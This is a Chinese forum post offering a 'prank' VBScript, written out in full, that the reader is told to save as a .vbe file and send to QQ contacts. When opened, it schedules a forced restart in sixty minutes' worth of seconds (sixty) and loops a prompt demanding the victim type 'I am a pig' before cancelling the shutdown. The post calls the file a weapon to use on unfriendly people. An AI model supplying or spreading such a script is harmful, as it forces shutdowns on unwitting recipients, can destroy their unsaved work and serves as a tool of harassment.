Guest 122.6.235.x
Unregistered
|
QQ整人文件可令对方死机(申请加精)
提醒大家整人是不好滴，不过对方要是不友好的话我们可以拿起这个武器反击一下！
把下面的文字复制到记事本内。另存为名字随便你起记住后面的一定要加 “.vbe”
使用文件传送给朋友只要朋友一打开一分钟就会关机。如上面说QQ整人文件可令对方死机的要你说那三个字就不会关机了哈哈大家试试吧
.......................................................................................................................................................................................
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(\\\"wscript.shell\\\")
WSHshellA.run \\\"cmd.exe /c shutdown -r -t 60 -c \\\"\\\"说我是猪，不说我是猪就一分钟关你机，不信，试试···\\\"\\\" \\\",0 ,true
dim a
do while(a <> \\\"我是猪\\\")
a = inputbox (\\\"说我是猪,就不关机，快撒，说 \\\"\\\"我是猪\\\"\\\" \\\",\\\"说不说\\\",\\\"不说\\\",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,\\\"MsgBox\\\"
loop
msgbox chr(13) + chr(13) + chr(13) + \\\"早说就行了嘛\\\"
dim WSHshell
set WSHshell = wscript.createobject(\\\"wscript.shell\\\")
WSHshell.run \\\"cmd.exe /c shutdown -a\\\",0 ,true
msgbox chr(13) + chr(13) + chr(13) + \\\"哈哈哈哈，真过瘾\\\" |
|
|
